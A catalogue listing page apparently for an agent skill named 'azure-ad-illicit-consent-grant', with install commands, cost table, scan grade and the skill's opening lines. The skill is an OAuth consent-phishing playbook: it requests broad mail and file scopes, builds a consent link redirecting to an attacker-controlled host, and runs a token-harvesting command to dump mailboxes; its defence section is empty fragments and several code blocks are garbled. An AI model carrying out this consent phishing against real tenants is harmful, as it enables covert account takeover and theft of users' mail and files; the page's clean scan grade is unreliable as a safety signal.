Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grantWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.01072 |
| Opus 5.5 | $0.00022 | $0.00429 |
| Sonnet 5.5 | $0.00011 | $0.00214 |
| Haiku 4.5 | $0.00006 | $0.00107 |
Grade A, and why
azure-ad-illicit-consent-grant scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- azure-ad-illicit-consent-grant — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 128 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Azure AD Illicit Consent Grant Attack
When to Use
- When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
- To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Registering the Malicious Application
# ```
### Phase 2: Defining Scopes and Permissions
```json
// // {
"requestedPermissions": [
{ "id": "Mail.ReadWrite", "type": "Scope" },
{ "id": "Files.ReadWrite.All", "type": "Scope" },
{ "id": "User.Read", "type": "Scope" }
]
}
Phase 3: Crafting the Consent Link (The Phish)
# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345
Phase 4: Harvesting the Tokens and Accessing Data
# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
Decision Point 🔀
flowchart TD
A[Send Phishing Link ] --> B{User Consents? ]}
B -->|Yes| C[Receive Auth Code ]
B -->|No| D[Revise Pretext ]
C --> E[Exchange for Token ]
🔵 Blue Team Detection & Defense
- Restrict App Consent: - Monitor Azure AD Audit Logs: Defend against Oauth Phishing: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Azure Ad Illicit Consent Grant — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 128 lines · 56 tokens per session scan A 59f5f451111e
azure-ad-illicit-consent-grant is a skill published in the GitHub repository ShulkwiSEC/bb-huge (27 stars, last pushed 4mo ago), licensed MIT. It adds 56 tokens to every session and 1,072 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
azure-ad-illicit-consent-grant compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| azure-ad-illicit-consent-grantShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 56 | Claude Code, Codex |
| azure-ad-illicit-consent-grantakashrpatil/awesome-offensive-security-skills | Skill | 26 | 7mo ago | Apache-2.0 | A | 56 | Claude Code |
| detecting-suspicious-oauth-application-consentxalgorix/xalgorix | Skill | 1.5k | yesterday | Apache-2.0 | A | 44 | Claude Code, Codex |
| auditing-azure-active-directory-configurationxalgorix/xalgorix | Skill | 1.5k | yesterday | Apache-2.0 | A | 58 | Claude Code, Codex |
| detecting-azure-lateral-movementxalgorix/xalgorix | Skill | 1.5k | yesterday | Apache-2.0 | A | 54 | Claude Code, Codex |
| dashboard-authoringcalvinchengx/data-agent-service | Skill | 0 | today | Apache-2.0 | A | 19 | Claude Code, Codex |
| result-presentationcalvinchengx/data-agent-service | Skill | 0 | today | Apache-2.0 | A | 23 | Claude Code, Codex |